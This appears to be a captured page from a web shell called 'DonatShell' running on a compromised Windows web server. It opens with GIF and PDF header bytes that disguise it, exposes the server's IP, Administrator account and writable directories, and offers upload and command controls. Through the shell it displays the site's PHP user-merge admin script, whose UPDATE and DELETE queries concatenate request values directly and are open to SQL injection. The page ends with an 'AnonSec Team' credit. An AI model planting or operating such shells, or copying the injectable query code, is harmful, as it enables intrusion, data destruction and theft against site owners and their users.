GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/UserMerge.phpinc
<?
// Admin/UserMerge.phpinc

#setDebugOn();

debugTrackBegin();
if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; }
/*
$_POST['f_count']=2
$_POST['f_form']=form_userMerge
$_POST['f_task']=Merge
$_POST['f_userId']=2
$_POST['f_uuid']=bd284d6a7afee364cc183270c5df0ede
*/

if ($f_form == 'form_userMerge' && isset($_SESSION['uuid']) && isset($f_uuid) && $f_uuid != $_SESSION['uuid']) {
	// Get $f_userId.
	$f_userId = formValue('userId');
	if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$f_count=".$f_count."<br>\n"; }
	if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$f_form=".$f_form."<br>\n"; }
	if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$f_task=".$f_task."<br>\n"; }
	if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$f_userId=".$f_userId."<br>\n"; }
	if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$f_uuid=".$f_uuid."<br>\n"; }
	// Get userStudentId for this userId.
	$query = "
	SELECT userStudentId
	FROM user
	WHERE userId = ".$f_userId."
	";
	$userStudentIdList = query_do($query);
	$userStudentIdCount = $_SESSION['qry']['count'];
	if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userStudentIdCount=".$userStudentIdCount."<br>\n"; }
	// Continue only if the userStudentId was found.
	if ($userStudentIdCount) {
		$userStudentIdInfo = mysqli_fetch_assoc($userStudentIdList);
		$f_userStudentId = $userStudentIdInfo['userStudentId'];
		// Get current list of duplicate Users by userStudentId.
		$query = "
		SELECT userId
		FROM user
		WHERE userStudentId = ".$f_userStudentId."
		ORDER BY userLastName, userFirstName, userId
		";
		$userCurrentDuplicateList = query_do($query);
		$userCurrentDuplicateCount = $_SESSION['qry']['count'];
		if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userCurrentDuplicateCount=".$userCurrentDuplicateCount."<br>\n"; }
		// Get list of tables.
		$query="SHOW TABLES FROM ".$_SESSION['DATABASE']['database'];
		$queryField = 'Tables_in_'.$_SESSION['DATABASE']['database'];
		$tableList = query_do($query);
		$tableCount = $_SESSION['qry']['count'];		
		// Parse through useIds for duplicate users.
		$f_message = '';
		while ($userCurrentDuplicateRow = mysqli_fetch_assoc($userCurrentDuplicateList)) {
			$userIdDuplicate = $userCurrentDuplicateRow['userId'];
			if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userIdDuplicate=".$userIdDuplicate."<br>\n"; }
			// Continue only if the userId is not the one to merge to.
			if ($f_userId != $userIdDuplicate) {
				if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","Parsing tables for userIdDuplicate=".$userIdDuplicate."<br>\n"; }
				// Parse through tables to change userId and modifiedBy fields.
				mysqli_data_seek($tableList, 0);
				while ($tableInfo = mysqli_fetch_assoc($tableList)) {
					// Set $f_table.
					$f_table = $tableInfo[$queryField];
					if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ",'<span style="color:blue">$f_table='.$f_table."</span><br>\n"; }
					// Get the list of fields for this table.
					$query="SHOW COLUMNS FROM ".$f_table;
					$fieldList = query_do($query);
					$fieldCount = $_SESSION['qry']['count'];
					// Parse table fields for userId and modifiedBy.
					while ($fieldRow = mysqli_fetch_assoc($fieldList)) {
						// Get field name.
						$fieldName = $fieldRow['Field'];
						if (dc()) {
							echo basename(__FILE__)," line ",__LINE__,": ","\$f_table=".$f_table." ";
							print_r($fieldRow); 
							echo "<br>\n";
						}
						// Continue if field name is userId or modifiedBy.
						if ($fieldName == 'userId' || $fieldName == 'modifiedBy') {
							// Test if the fieldName is nor userId or the table is not user or useruserpermission.
							if ($fieldName != 'userId' || ($f_table != 'user' && $f_table != 'useruserpermission')) {
								// Update the field to $f_userId.
								$f_lastModified = currentDateTime();
								$query = "UPDATE ".$f_table." SET
									".$fieldName." = ".$f_userId."
								WHERE ".$fieldName." = ".$userIdDuplicate."
								";
								if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ",'<span style="color:green">',"\$query=".$query.'</span>',"<br>\n"; }
								$tableUpdate = query_do($query);
							} else {
								// Only delete the record if the field is userId.
								if ($fieldName == 'userId' || $fieldName == 'modifiedBy') {
									// Delete the duplicate record from the table.
									$f_lastModified = currentDateTime();
									$query = "DELETE FROM ".$f_table."
									WHERE ".$fieldName." = ".$userIdDuplicate."
									";
									if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ",'<span style="color:red">',"\$query=".$query.'</span>',"<br>\n"; }
									$tableDelete = query_do($query);
								}
							}
						}
					}
				}
				$f_message .= "Duplicate userId ".$userIdDuplicate." deleted.<br>";
			}
		}
		$_SESSION['uuid'] = $f_uuid;
	}
}

Anon7 - 2022
AnonSec Team